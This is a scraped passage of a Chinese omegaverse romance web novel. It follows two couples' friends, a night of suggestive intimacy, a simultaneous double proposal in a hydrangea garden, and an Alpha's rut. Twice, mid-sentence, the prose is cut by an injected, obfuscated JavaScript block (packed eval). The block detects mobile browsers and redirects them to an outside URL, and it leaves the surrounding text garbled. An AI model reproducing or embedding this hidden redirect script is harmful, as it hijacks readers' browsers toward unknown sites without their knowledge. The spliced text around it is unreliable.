江砚很熟悉他这副样子,估计又在脑子里给自己演情景剧,果不其然,目前商随已然脑补到双向奔赴的剧本。 “那个词叫什么来着?”江砚绞尽脑汁道,“哦哦,对!自作多情!” “嗯?”商随挂上笑容,“Alpha和Alpha结婚要走特殊申请吧?” 江砚还没意识到不对:“怎么了?” “据说需要一大笔费用,你给还是沈千俞给?”商随说,“我帮你俩给也行,不用谢。” “……不是!你干嘛啊!这才哪到哪!” 江砚面红耳赤,说话结结巴巴。 “你们到时候提前找个地方藏好。”商随欺负完江砚,把话题拉回来,“万一小绮感动到哭了,一定记得帮我录像。” “我也有种预感,求婚那天哭得稀里哗啦的会是你。”江砚好了伤疤忘了疼,兴致勃勃道,“我一定给你完完整整录下来!” 商随脸上笑容越发灿烂:“你今天真会说话。” 江砚脊背一寒,有人在外面按门铃。 他立即蹿起来道:“来了来了!” 门开以后,江砚看见时绮站在外面。 相比商随那个吃白饭的,时绮要有礼貌得多。考虑到来别人家做客,他带了一束娇艳欲滴的重瓣郁金香。 Omega的面庞也像某种开得正盛的花朵,抱着花束的模样犹如春日里的精灵。 难怪商随被迷得要死要活的。 江砚开心地招呼他:“来就来了,这么客气干嘛。” “时绮来了?”沈千俞恰好经过,解下围裙道,“可以吃饭了。” 这副充满日常气息的画面令时绮略一挑眉,目光在他俩脸上过了一遍。 沈千俞准备的午餐十分丰盛,融合中式和西式。注意到沈千俞帮江砚挑菜,时绮适时问:“你们在一起了吗?” 江砚犹豫道:“算吧。” 沈千俞放下筷子,凉凉地看过来。 江砚立即改口:“算算算!之前……经历过这样那样那样这样,总之我们在一起了!” 相比起胡言乱语的江砚,沈千俞看向商随:“我把八年前的事情告诉了他。” 江砚忐忑地说:“那个,我一定会保密的!不是沈千俞想说,是我一直追着问。” 怕商随生气,江砚连忙补充:“你是不是还有比较特殊的地方?这个他一个字都没有说。” 精神操控是比特易期更加鲜为人知的秘密,沈千俞略去这部分,只让江砚以后私下问商随。 江砚倒是觉得知不知道都无所谓,无论商随身上有多少秘密,都是他认定的朋友。 “没事,”商随神色自若,“时绮早就知道。” 见大家都看向自己,时绮索性放下筷子,把近期发生的事情挑重点讲了一遍,最后提到商随答应黎昭接受采访。 “如果要推翻当年的情况重新报道,需要经过警方同意,小黎姐姐昨天去了海城。”想到黎昭临行前姜宥宁十八里送别的架势,时绮在心里替姜宥宁默哀三秒,“她做过很多类似的案子,应该没问题。” 那张照片黎昭也拿了回去,她会截掉商随的面容、隐瞒个人信息完成报道。 沈千俞愣了愣,似乎没想过这样的结果:“这样吗?太好了。” 许久以后,他低声对商随道:“我一直觉得,我抢了你的荣誉。” 当年必须有一个人出来承担这份赞誉。商随看起来并不在意,他却始终于心有愧。 “得了吧,沈院。”商随打断他,“要不是你帮我说话,我都不知道当初还有多少麻烦。” “不一样,”沈千俞摇摇头,“没有你的话,我和我妈早就死在八年前了。” 江砚抽了抽鼻子,只觉得眼眶发酸:“……干嘛啊你们,突然这么煽情。” 见江砚用手背擦眼睛,时绮从旁边拿过纸巾盒。 “谢谢——”江砚正要伸手接过。 时绮再也按捺不住好奇,冷不丁问:“所以你们两个谁睡谁?” 江砚毫无防备,纸巾盒啪叽一下掉在地上。 时绮的长相太过清纯,话题突然拐到下三路,江砚第一反应便是自己出现了幻听。 回过神来,江砚大声道:“当然是我睡他!” 沈千俞十分配合:“嗯,是这样。” 时绮清透的眼眸光芒流转,明显在观察他和沈千俞的反应。 江砚被他看得面上一热:“你、你是不信吗!” 时绮慢吞吞地说:“可信度就跟我睡商随一样。” “…………” 第一个憋不住的是沈千俞,商随也在一旁笑。 江砚脸上红一阵白一阵,最后也忍不住笑起来:“你真狠啊,时绮。” 吃过饭后,商随找沈千俞有事,时绮先一步离开。 商随送他上车,离开之前,忽然柔情似水挽住时绮的手臂:“难道不是你睡我吗?老公。” “?”这又是在演哪出? “我每晚都在用身体伺候你呢。”商随边说边缠上来,像是不知道自己有多重。 Alpha比他大了整整一圈,时绮只觉得快被压垮。 他忍了忍,没把商随推开:“你能不能要点脸。” “你不就喜欢我不要脸吗,我昨晚叫的时候你明明很兴奋——” 时绮恼羞成怒,伸手捂住他的嘴:“你管我!难道你上床的时候不兴奋?给我闭嘴!” 等他收回手,商随笑得止不住。 时绮莫名其妙,不知道哪里戳中了他的笑点。 商随戳了一下Omega白皙饱满的面颊,注意到时绮耳根微微泛红,笑眯眯地说:“你真可爱。” 和商随告别以后,时绮回到家里。 路过床边,时绮脚步一顿,脑海中无意闪过些许画面。 意识到自己在想什么,他在心底低低骂了一声。 他是不是被商随传染了,脑子里全是骚东西。 静下心来后,时绮在手机上查看自己的小金库余额。 他高中时做过模特兼职,存下来不少钱。上大学后社交账号游览量很高,平台会给他流量分成,还有每学期期末的奖学金。 这笔钱他单独存在一张卡上,和家里给他的零花钱分开,日积月累,数量十分可观。 确定自己应该能负担起任何一场求婚计划的费用,时绮又在手机上搜索“求婚策划”、“求婚方案”等关键词。 林言的消息倏忽弹出: 言言:[我们亲爱的在干什么。] 言言:[最近怎么都不联系我,快过年了,我在冰天雪地的首都很想你。] 前些日子时绮过得大起大落,的确没怎么和其他人联系。 不过他抽空看过群聊消息,放假后林言约不到人打麻将,天天跟秦书赫和初桃在群里摇人,随机拉一个朋友组成赛博麻将局,每晚血战到底。 时绮随手回复:[输钱就想起我了?] 言言:[……] 言言:[你真的好冷酷。] 言言:[但你冷酷无情的样子也好迷人。] 17:[我在准备求婚。] 林言只当他在开玩笑:[和我求婚吗?] 17:[你猜。] 言言:[……等等,你认真的?] 下一秒林言的电话直接打进来,时绮按下接听,先一步把手机拿远。 即便如此,他依旧听见林言震耳欲聋的尖叫:“时绮你要干什么——!!” “求婚?!你主动??!!你跟他才认识不到四个月!商随给你灌什么迷魂汤了!你还记得曾经对Alpha爱答不理的自己吗?!” “其实是六年。” “六年?” 从小到大,他和林言之间鲜少有秘密。 时绮隐瞒了特易期和精神操控的部分,将其他事情一一道来。 林言左一个“我操”右一个“天哪”,末了意犹未尽道:“听完这个精彩的故事,我同意你跟商随求婚。” 他兴冲冲地说:“那我要来参加!” 时绮倒是很想见他,可临近年关,林言家里事情一大堆:“快过年了,你走得掉吗?” “一般情况不行,但你求婚哎!我肯定要来的!”林言说着说着又想到什么,“我问问秦书赫和小桃姐?他俩肯定也想来。” 时绮答应一声。 他和林言闲聊了一会儿,从日常聊到还没成型的求婚计划,中途时绮随手翻开姜宥宁给他的日记本。 看着看着,时绮的目光倏然顿住。 “我在网上查了一下,好像大多数人都是布置好场景,用鲜花和气球装饰,地点可以选在花园别墅或者游艇?”林言话锋一转,“不过你就算一早醒来直接说想结婚,商随也会同意吧?” 时绮目不转睛,看着日记本上略显稚嫩的字迹。 须臾过后,时绮握紧手机:“我知道该怎么做了。” - 难得有大热闹看,林言行动力惊人,当天联系好秦书赫和初桃,晚上直接落地祁江。 看见林言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“对对!”林言在旁边补充,“每年祁江不是会提前放烟花吗?最出名的就是镜湖的水上烟花,我们过来玩儿几天,快到除夕就回去。” 商随点点头,像是相信了他们的理由。 上车以后,秦书赫在四人群聊里疯狂发消息: 秦书赫:[怎么办!我一见到我哥就管不住嘴。] 秦书赫:[我靠,你不知道刚才有多刺激,我的找补速度简直是我职业生涯的巅峰。] 17:[你的巅峰就跟洼地一样低。] 秦书赫:[……] 17:[管好你的嘴,这是绮神的神谕。] 林言和初桃打出一连串哈哈哈哈哈哈哈哈哈,秦书赫忍不住问:[皇上,您什么时候登神了?] 17:[不久之前。] 商随租的别墅一共有三层,林言他们只待到这周末,索性在商随家里住下。 初桃一个人住三楼,其他人住楼下。 时间接近零点,大家多多少少有些疲惫,各自回房间准备休息。 初桃发现自己少带了一个化妆包,她从楼上下来,恰好看见林言在二楼:“言言,把你洗面奶给我用用。” “你忘带了?”林言说,“我还有面膜,你要不要?” 初桃点点头,突然瞪大眼睛,她在尖叫之前用双手捂住嘴,一眨不眨眼看向楼下。 林言见她两眼放光,赶紧凑了过来,这才发现一楼的角落有两道人影。 是时绮和商随。 他们凑得极近,像是黏在一起。商随背对他们站着,Alpha高大的身影几乎将另一个人完全遮蔽。 时绮坐在小木柜上,纤长白皙的小腿一晃一晃,正仰头和他说话。 楼下没有开灯,只有二楼的光源顺着楼梯倾泻,令本就旖旎的画面愈发朦胧暧昧。 “我去,要求婚了是不一样啊。”林言用气音兴奋道,“这不做点儿什么不合适吧?” 话音刚落,商随低下头,骨节修长的手指勾起时绮的下巴。 他顺着时绮的侧脸啄吻,慢慢往下,原本勾住下巴的手指不知不觉绕到脖颈后面。 与温柔的亲吻不同,商随单手握住时绮纤细的脖颈,时不时轻掐一下,是个充满占有欲的动作。 似乎被亲得很舒服,时绮略微仰起头。林言终于能看清他一小部分面容。 时绮半眯起眼睛,长长的睫毛在昏黄灯光下微微颤抖,令人联想到枝头颤巍巍的花。 “我天,太刺激了!他俩亲个脸怎么跟十八禁似的!” 初桃兴奋地说完,又想起什么:“小孩子不能看!” 她边说边伸手捂住林言的眼睛,后者抗议道:“干嘛啊小桃姐,你捂错人了吧!” 时绮并没意识到楼上有两个人正在兴致勃勃看热闹。 商随用的力道并不重,卡在刚刚好的位置,时绮却渐渐喘不上气,身体食髓知味开始发软。 他最后伸出手,主动勾住商随的脖子。 时绮压低声音:“去房间。” 等林言好不容易掰开初桃的手,便看见时绮被抱了起来。 商随单手拖着他的腿,抱他就像抱小猫。 时绮陷在Alpha怀里,面容模糊不清,只能看见白皙的双臂渐渐收紧,整个人仿佛缠在商随身上。 初桃和林言同时伸长脖子。 商随往楼上瞥了一眼。 他抬腿踢开卧室门,抱着时绮进去,干脆利落锁上门。 66.求婚 咔哒—— 落锁的声音令时绮本能感到危险,后颈的标记传来阵阵热意。 不等他反应,眼前的画面一阵天旋地转。 时绮被压在床上,甜蜜的气息覆盖上来,将他困在方寸之间。 商随瞳色比他浅,灯光照耀下流光溢彩,令人联想到五彩斑斓的蛇类。 “刚才林言他们在楼上。” 时绮身体一僵。 “没事,他们没看见多少。” 商随边说边伸出手,慢慢抚摸他的面颊。 想着确实只亲了脸,时绮低低答应一声。见他放松,商随用指尖揉弄他小小的耳垂。 第一次和商随上床正值发情期,时绮分外喜欢和对方纠缠在一起,那时他以为是本能的影响。 但在发情期结束后,他依旧对肢体接触上瘾,时绮这才察觉到,他全身都变得格外敏感。 略微冰凉的指尖有意无意掠过脖颈,和刚才一样,时绮的呼吸情不自禁开始混乱。 “这间房子隔音不好。” 时绮被摸得正舒服,有些茫然地撩起眼。 商随意有所指:“要是动静太大,可能会被听见。” 要么不管不顾,要么就不做。 时绮想了想,如果他们真的闹出动静,林言估计能给他录下来。 时绮退而求其次: “亲一下?” “张嘴,宝贝。” 他和商随几乎同时开口。 时绮配合地张开唇,露出一小截艳红的舌尖,深灰色的眼眸湿漉漉的,仿佛波光粼粼的水面。 商随直勾勾凝视他。 半天没等到动作,时绮开始不耐烦,正问你到底亲不亲。 他的手腕被人一把扣住。商随收紧虎口,将他的双手拉过头顶,猛地按在枕头上。 “搞什么……!” 他还没懂对方为什么突然变得粗鲁,Alpha低下头,激烈地亲吻他。 接吻间隙,商随伸手揉他的身体。 时绮的后背不自觉在床上磨蹭,因为太过刺激,不由自主想要逃离。 商随追着亲上来,握住他纤细的腰,再往下触碰到更加暧昧的地带。 逐渐适应之后,时绮的双腿勾在商随腰上,藤蔓一样紧紧缠住他,恨不得让Alpha完全贴在自己身上,不留一丝空隙。 感觉到商随轻轻舔他的唇瓣,像要离开,时绮迷迷糊糊挽留:“还要亲……再重一点。” 对方停顿片刻,如他所愿。 不知过去多长时间,他们的信息素纠缠在一起。时绮越来越热,出了一层亮晶晶的薄汗。 等到亲吻结束,两人都有些意乱情迷。 商随先一步缓过来,音色黏稠地问:“去洗澡?” 时绮点点头,却没有动。 他懒懒缩在床上,白皙的小腿踩着凌乱的薄被,令人联想到有一搭没一搭甩尾巴的猫。 看得出来,是比较喜欢被人伺候那种。 商随笑了笑,手臂从他的腿弯绕过,抱着他往浴室方向走。 时绮忽然叫他:“商随。” “嗯?” “你要一直这么喜欢我。”时绮自顾自要求道,“可以变多,不可以变少。” Alpha撩人的眉眼在灯光下弯起:“是在跟我撒娇吗?” 时绮靠着他的肩膀,不置可否。 明天就求婚。 他们同时想。 - 第二天早上,两个人默契地提出去漪山住。 时绮原本就想在当年初识的地方求婚,在商随有意无意说到别墅里人太多、住着不方便后立即同意。 他回家换了一身衣服,特意选了有宽大口袋的工装裤,将准备好的日记本装在里面。 出门的时候,时绮看见有个陌生Omega站在商随车边,像是在搭讪。 不等商随拒绝,时绮冷不丁道:“你闻不到吗?他身上的味道。” Omega被吓了一跳,一下子转过头。 时绮白金色的发丝在冬日阳光里镀着朦胧的光晕,令人移不开眼。 “我……” 他确实在商随身上闻到了若有若无的铃兰香气,但他以为是Alpha自己的信息素。 时绮淡淡看向他。 Omega同他四目相对,竟是慢慢红了脸。 时绮没再管他,径直走到副驾驶。 因为心情好,商随的语调微微上扬:“小绮吃醋了吗?” 时绮睨了他一眼。 闪闪发亮的长耳坠一晃一晃,狼尾细细碎碎散在后颈。商随的针织衫领口开得很低,锁骨处那串半融化的蝴蝶纹身完完整整露了出来。 怪不得会被人搭讪。 时绮的目光落向他脖颈的choker,看得心痒痒,索性用食指勾住细细的皮质项圈,把他往自己的方向拽: “你今天——”穿这么花枝招展干嘛。 尽管商随每天都能去走秀,今天格外夸张。 不等时绮说完,有人在外面小心翼翼敲副驾驶的车窗。 时绮放下窗子,面无表情看过去。 Omega和他对视,有些羞涩地举起手机:“那个,可不可以要一下你的联系方式?” 时绮:“?” 时绮一瞬间以为自己听错了。 “不好意思呀,我不知道你们是情侣……我没别的意思,就是觉得你长得很漂亮!” 郁知玲留下的心理阴影太重,商随先一步抢答:“不可以,再见。” 他说完直接替时绮关上车窗,感觉到另一个人盯着自己看,商随神色自然:“你可能察觉不到,他看你的眼神很奇怪。” “哦,那好吧。” 车开出去一段距离,时绮心情愉快地补充:“你吃醋可以直说。” 他说完低头看手机。 他昨晚在群聊里发了消息,提醒大家早点去小洋楼等候。尽管林言叫嚷着放假以后还没十二点之前起来过,却在八点多坐早班公交上了山,比他还迫不及待。 秦书赫发了一张无尽夏花丛的照片,表示已经找好位置:[小的们已就位,皇上请放心。] 片刻过后,秦书赫又道:[不好意思称呼没跟上版本,绮神请放心。] 秦书赫发完消息,不自觉地看向对面。 从刚才开始,对面来了两个Alpha。 这一片都是私人领地,时绮提前把花园的钥匙给了林言,他们才能顺利进来。秦书赫还以为是不认识的友军,十分自来熟地问:“帅哥,你们也是来参加求婚的?” 江砚没多想:“对啊对啊,你们也是?” 他嘀咕道:“原来还有人,商随怎么不提前说一下。” 江砚和秦书赫鸡同鸭讲了好一阵,林言猛地反应过来:“商随也要在今天求婚?” 时绮跟他提过,商随关系最好的朋友是一对情侣,都是Alpha。 沈千俞抓住关键词:“也?” 大家很快明白是怎么回事,同时默契道: “不要跟时绮说!” “不要跟商随说。” “原来他俩准备在同一天求婚啊。”秦书赫感慨,“还真是一个被窝睡不出两种人。默契,太默契了。” 江砚看向初桃,注意到她扛着大炮,表情震撼地问:“姐妹,你怎么还有专业设备。” 初桃也不觉得被一个男性Alpha叫姐妹有什么奇怪,笑嘻嘻回答:“我以前给时绮当过站姐,原本以为要跟随他勇闯娱乐圈,好几个长焦镜头都是那时候买的。这次顺便带过来了。” “可以理解,如果出道,时绮会和任何一个人妄想骑在他头上的人对喷。”秦书赫开玩笑一样说完,忍不住问,“世界上存在没被他怼过的人吗?” “没有,他连小安叔叔都不放过。”林言想到什么,“不对,他好像从没怼过商随。” “原来绮神修的是双标道。”秦书赫话锋一转,“不过我哥在时绮面前性情温顺,也不是不能理解。” 江砚原本听得津津有味,闻言露出见鬼的表情:“性情温顺??商随?他的标签不该是顶A、艺术家、疯疯癫癫吗?” “目前来说,商随在时绮面前表现很好。”沈千俞给出最大程度的夸赞,“大多数情况下看起来像个正常人。” 到达二号线的中间站台,时绮跟着商随下车。 飞燕草和蜀葵在道路两旁盛开。他远远看见有两个人站在五彩斑斓的花丛里,姿态亲密,似乎在一起摆弄相机。 时绮以为是林言他们,心说怎么跑这边来了。 似是察觉到他的目光,其中一人投来视线。 时绮怔愣片刻:“学长?” “时绮?”见到认识的人,段嘉衍脸上流露出意外的神色,琥珀色的眼睛在阳光下格外剔透,“你也在这啊。” 段嘉衍旁边的Alpha先是看了一眼他的表情变化,而后才看过来。 注意到对方的目光落在商随身上,时绮猜测:“你们认识?” 商随点点头:“他妈妈买过我的画。” 还有一些其他的交集,不过都是家里的关系。 “姜太太最近还好吗?” 路星辞客气地说:“她很好,谢谢关心。” 段嘉衍忽然笑了一声。 路星辞看向他。 段嘉衍拖着声音:“没事儿,就是很少看你打官腔,挺搞笑的。” 被他这么一打岔,气氛轻松不少。 段嘉衍看向时绮:“对了,你之前找我加好友,我还以为你想跟我打游戏。” 他们在同一个社团,时绮比他低一届。有次摄影社活动他俩恰好分到一组,社活后大家一起去了网吧。 那晚他跟时绮带着拖后腿的陈越一路上分,明明是第一次配合却十分有默契,他对这个学弟的印象很不错。 时绮看起来冷冷淡淡,结束后主动要了他的联系方式,他还记得时绮当时犹豫片刻,又一起加了陈越。 商随意识到什么,看向沉默不语的时绮。 似乎不知道该怎么回答,时绮的睫毛颤了一颤,确定是自己想的那样,商随凉飕飕地说:“哇,小绮。” 路星辞原本没觉得有什么不对,听到这里略微扬了一下眉。 在场唯一没察觉异常的人还在继续:“后来我看见你游戏在线拉过你两次,你都没有来。” 段嘉衍寻思自己那晚明明大杀四方,只能想到一种解释:“你是不是把我和陈越弄混了?他是真的菜。我是中单,他才是那个一直坑你的辅助。” 时绮实在没法把真实原因说出口,急中生智道:“不是,我不喜欢和打游戏太厉害的人一起玩。” 段嘉衍:“?” 时绮:“我喜欢负重前行。” 商随笑笑:“可能因为加上之后看见了结婚照吧。” 时绮:“……” 时绮觉得商随就跟鬼一样。 情急之下,他一把抓住商随:“学长拜拜!我们先走了,你们玩开心。” 等他们走后,段嘉衍茫然地说:“他俩什么意思?已婚的是不配加入电子竞技吗?” 路星辞不置可否,学着时绮的样子叫他:“学长。” “?” “真受欢迎。” 段嘉衍礼尚往来:“谢谢,你也一样。” 他把这个小插曲抛到一边,示意路星辞看他手里的相机。一簇簇飞燕草在屏幕上盛开,拍摄者恰好抓住了一瞬间的光影变幻,本就瑰丽的颜色如同五光十色的烟花: “看我拍的花,是不是很有水平?” 半天没等到夸奖,段嘉衍有些不满。 什么意思,路星辞今天这么不上道? 他扭过头,才发现对方一直在看他。 “让你看花,别看我——” 视线对上的时候,路星辞忽然凑过来,盖章一样亲了一下他的脸。 段嘉衍安静片刻,忍不住笑着说:“干嘛啊你。” 时绮拽着商随一路往前,后者乖乖跟他走出一段路,确定已经看不见另外两个人的影子,毫无预兆停下脚步。 他反扣住时绮的手腕,不轻不重捏了一把。 时绮自知理亏,主动解释:“是一年前的事情。” 商随模棱两可答应。 “因为我忘了你,但又下意识会被和你有一点相似的类型吸引,才会对学长好奇。” 知道对方有对象后时绮彻底打消念头,这件事被他抛到脑后。 如果不是今天遇见本人,他都想不起这茬。 “哪种类型?” 脑海中闪过林言的话,时绮脱口而出:“长得像渣男的类型。” 半天没等到回应,时绮正觉得说他像渣男是不是不太好—— “我以为是玩游戏不厉害的类型。” 商随见他认真解释,心里那点不爽烟消云散:“我们宝宝不是不喜欢和打游戏厉害的人一起玩儿吗?那应该很喜欢我吧?” 他说话像是念绕口令,时绮勉强理解他的意思,正想进一步解释,忽然发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15741363|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现商随眼底流露出恶劣。 时绮一瞬间明白对方是在捉弄他,毫不客气顶回去:“不喜欢,你太菜了也不行。” “没关系,”商随手指向下滑动,充满暗示性地勾了一下,“其他方面厉害就好了。” 敏感的掌心传来酥酥麻麻的痒意,意识到他居然在对自己开黄腔,时绮触电一样抽回手。 商随不以为耻,反而朝他笑笑。 远远看见时绮和商随的影子,等得百无聊赖的秦书赫一骨碌爬起来:“终于来了!时绮你千万不要让我失望啊,要做率先行动的那一个!” 江砚不甘示弱:“小随哥哥冲!求婚怎么能被人抢先!” 正午十分,连绵起伏的无尽夏花海绚丽如雨后彩虹。 想着林言他们正在某个角落里蹲守,时绮伸手摸了摸口袋,感觉到日记本沉甸甸的重量,在心里给自己打气。 他正想开口,商随率先问:“你还记得上一次来祁江吗?” 时绮的注意力都在接下来要做的事情上,只点点头。 “花朝节的时候,我们交换过手环,但它凋谢得很快。”商随见他逐渐看向自己,和当初一样道,“小绮,伸手。” 时绮以为商随要送他新的铃兰手环,立即配合地伸出手。 他喜欢花朝节的寓意,更何况商随编的手环很漂亮。 商随动作很快,时绮甚至来不及看清他手里的东西究竟是什么。与预想中花枝柔软的触感不同,冰冷坚硬的宝石摩挲过皮肤表面。 在商随松开手的一刹,耀眼的火彩映入眼帘。 “这只手环不是真的花朵,但它不会枯萎。” 铃兰造型的手环在时绮腕上绽放。隐秘式镶嵌的钻石花瓣与叶片流光溢彩,花芯以黄钻为点缀,复杂的嵌合工艺令垂坠的花芯随佩戴者的动作自然而然颤动,细金丝编织的花茎做了哑光拉丝处理,同闪闪发光的花瓣与叶片相得益彰。 整只手环层次丰富,花枝造型灵动,完美呈现出铃兰轻盈精致的特性。 “好漂亮。”时绮的目光全然被吸引,不由自主转动手腕,“是你自己画的吗?” 这么精巧的手环并不像市面上能买到的款式,更像定制的作品。 不仅价格不菲,制作同样需要时间。 “是我画的,也和设计师修改过一些细节,你喜欢吗?” 很早以前,他发现时绮喜欢亮晶晶的东西。 每当他戴着存在感明显的耳坠或项链,时绮会不由自主用目光追逐,像是猫科动物捕猎的本能。 “喜欢。”想到商随一笔一笔画好手环雏形、又根据现有的工艺一步步敲定细节,时绮强调道,“非常喜欢。” “你一定在这只手环上耗费很多心思,它才能像现在这么漂亮。我会好好珍惜的。” 从上一次花朝节到现在,商随应该准备了很久,选在今天送他这么费时费力的礼物…… 时绮意有所感,心跳漏掉一拍:“你——” “我曾经幻想过很多次,你长大后会是什么样子,随着我年纪渐长,幻想中的你也一天天长大了,就好像你还陪在我身边。” 商随说到这里,露出无语的表情:“我把这件事告诉沈千俞,他听的过程很平静,听完让我赶紧去做心理测评,怕我再发展下去进收容所。” 想到那副画面,时绮不禁笑了一下。 但很快的,想到商随做心理测评意味着什么,时绮又有点儿笑不出来。 商随继续回忆道:“我们分离后的第二年夏天,我回过一次祁江,在千灯节放了一只花灯。” 盛大灿烂的庆典一如往昔,他独自穿过欢声笑语的人群,水上烟花模糊天地界限,在震耳欲聋的欢呼声中,他突然觉得异常孤单。 仿佛某种旧日的延续,他去放了那只花灯。 “我不太相信世界上会有平白无故的好运,所以我在花灯上写下的愿望是,我想再次见到你,作为交换,我愿意失去那年夏天的记忆。” 随着商随的描述,时绮眼前逐渐浮现出相应的画面。 在祁江的传说里,如果承载愿望的灯盏顺水飘远,总有一天能被神明听见。 “现在想想,我的愿望真的抵达了神明的耳畔。”商随轻声说,“那恰好是一位非常善良的神明。我没付出任何代价,就幸运地再次和你相遇。” “但即使没有六年前的记忆,我也会喜欢你。” “不管重来多少次,我都会被你吸引。” “时绮,”商随郑重其事叫他的名字,“你愿不愿意——” “等一下。”最后关头,时绮出声打断他。 如果再不行动,商随就要把一切做完了。 时绮不顾他的反应,拿出准备好的日记本,递给他道:“翻到最后一页。” 远处树荫下,秦书赫表情呆滞:“这是干什么呢,绮神上求婚指导教材了??” 林言也不知道时绮打算干什么,只能猜测:“他会不会把日记本挖空了放戒指?” “这到底算谁先求婚?” “从先后来看是商随,但他好像还没说完就被打断了。”江砚抽了抽鼻子,“不行,就算什么也听不见,这个氛围让我好感动——” 秦书赫吐槽:“看默剧都能看哭是吧。” “得了吧秦书赫,你别偷偷擦眼泪。”初桃努力克制自己,“啊啊啊啊不能再哭了!我的假睫毛快掉眼睛里了!” 手里的日记本是蓝色的皮质封,装饰有明黄色的小猫刺绣。 商随照他所言翻到最后一页,略显稚嫩的清隽字迹映入眼帘: [等我长大了,我要……] 日记到这里戛然而止,像是主人临时有事,只来得及写下开头。 但在下一行,年少时的心愿被更为流畅的字迹补全: [这是我小时候的愿望,我一直不懂自己究竟决定过什么,很长时间里,我只当它是日记本里一句没写完的空话。 时隔六年才明白,因为我忘了你。 那天你告诉我,我拯救了你,让你重新喜欢上夏天,我觉得非常不可思议。 好像有一些沉重,但更多的是开心。 如果你需要一个人来承担你人生一半的重量,带你穿过黑暗潮湿的雨夜,我永远向你伸出手。 握紧之后,无论是坚定不移站在你身边,还是朝不确定的未来一路狂奔,我都能做到。 你不是总说我很勇敢吗? 我会毫无保留分给你,无论自由、勇气,还是偏爱。 我长大了,和我结婚吧。] 67.颈圈 商随许久没有说话。 过去太长时间,时绮终于憋不住,想问你看完了吗?不会翻错地方了吧? 不等他开口,泪水毫无预兆滴落在日记本上。 时绮愣在原地。 “我去,”秦书赫震惊地睁大眼睛,“我哥哭了啊?” 林言扭过头:“小桃姐!” 初桃全神贯注盯着屏幕:“全部拍下来了,放心。” “对不起,”商随伸手揉了一下眼睛,“把你的日记打湿了。” 半晌过后,时绮才找回自己的声音:“没关系,你……” 那句“你别哭”到了嘴边,时绮的目光不由自主落在商随脸上,定定看向他。 和具有攻击性的外貌不同,商随哭泣时格外安静,长长的睫毛垂落下来,眼角的泪痣也被泪水浸透。 时绮心脏仿佛被揪了一下,大脑一片空白。 好好看。 商随哭起来好漂亮。 安慰的话全部被抛之脑后,时绮一瞬不瞬盯着他:“要不你再多哭一会儿。” “时绮什么意思,”秦书赫再度震惊,“我哥哭成这样,他怎么还笑了?” “可能哭得很合他的心意吧。”林言露出理解的表情,“我要是把一个Alpha弄哭,我也会很爽。” “呜呜呜!我早说了,求婚那天哭得一塌糊涂的一定是他。”江砚从刚才起就一直在掉眼泪。沈千俞无奈道:“你是在陪哭吗?商随都没你哭得厉害。” 听见时绮的声音,商随睫毛微微颤动,露出迷离的神色。 本以为他快要止住哭泣,泪水却又一次不受控制滴落。 “怎么又哭了,”时绮没了欣赏的心思,有些担心,“别哭了,小心一会儿头晕。” 商随的嗓音略微沙哑:“我好像……” 眼泪还在往下掉,那双潮湿的眼睛却逐渐流露出狩猎者特有的神情。 时绮甚至没来得及看清他的动作,手腕便被一把攥住。 “我好高兴。” 他说话时还带着哭泣似的颤音,近乎有些神经质,抓着时绮的手带到自己脸侧,撒娇一样蹭他的手背:“我会记住这一天的。” 时绮还没反应过来:“嗯,我也会记住——” “我们永远在一起吧。” 如海潮般庞大的压力自头顶骤然降下,沈千俞最先变了脸色:“他被刺激到进入易感期了。” “求婚还能求出易感期?!”江砚目瞪口呆,“商随也太夸张了吧!” 空气里甜蜜的信息素欢欣鼓舞,昭示着主人愉悦至极的心情,却令旁观者如坠冰窖,遍体生寒。 “我操,”秦书赫差点跪下,“怎么回事?我哥怎么跟人形兵器一样,一般Alpha易感期可没他这么、这么……!” 大家都多多少少遇见过易感期的Alpha,却没一个给人这种诡异的感受。 Omega的本能令林言浑身发抖,不由自主看向处于风暴中心的时绮。 商随正有一搭没一搭揉他的脑袋,是个格外亲昵的动作,但在这种情况下,越是正常的举止越是显得不正常。 “商随不会伤害时绮。”猜出林言的担心,沈千俞道,“房子里有工具,他们自己能应对。我们先离开这里。” “什么工具,套吗?”林言喃喃,“没用吧,看起来时绮要被艹死啊?” “今天麻烦大家了,不好意思。”商随准确无误地看向他们躲藏的位置,语气克制地说,“快走吧,我要控制不住了。” 江砚受不了地抓抓头发,第一个站起来。 Alpha之间的互斥最为严重,他起了一身鸡皮疙瘩:“走了啊!你们看着办。” 秦书赫是Beta,受影响较小,勉强不忘今天聚在这里原因:“恭喜恭喜,那什么,求婚快乐!我们走了!” 初桃关掉相机,脸色发白:“我、我走不动……” 江砚赶紧把她手里的相机接过来,秦书赫扶着她往外走。 混乱之中时绮起了玩心,毫无征兆抽回手。 商随怔愣片刻。 时绮作势要和其他人一同离开,漫不经心说:“那我也走了,你自己加油。” 商随以极快的速度重新握住他的手,只是松松扣住,却像无法挣脱的枷锁:“不可以哦,别丢下我。” 沈千俞见林言站在原地不动:“别看了。易感期的Alpha地盘意识很强,他要是发起脾气没人能制住。” “时绮陪他经历过易感期,不会有事的。” 话虽如此,林言离开前不放心地回过头。 和其他人相比,时绮似乎对商随的信息素十分适应,林言这才想起他们惊人的匹配度。 他看见商随牵着时绮进了小洋楼。Alpha垂下目光,表现出驯服的姿态,时绮伸出手,主动关上门。 伴随落锁的响动,室内只剩下他们两个人。 浓稠的信息素将时绮包裹其中,商随再也忍耐不住:“小绮……” 时绮任由他贴上来嗅自己的脖颈:“你之前答应过我,易感期不会再用锁链。” 不等商随回答,时绮先一步命令:“不许用锁链。” “在关心我吗?” “……” 时绮略感无语,不知道该说他戏多还是缺乏安全感。 商随笑吟吟地说:“你对我真好。” “不用锁链,”他示意时绮看向长桌,“但我不太放心,找人订了这个。” 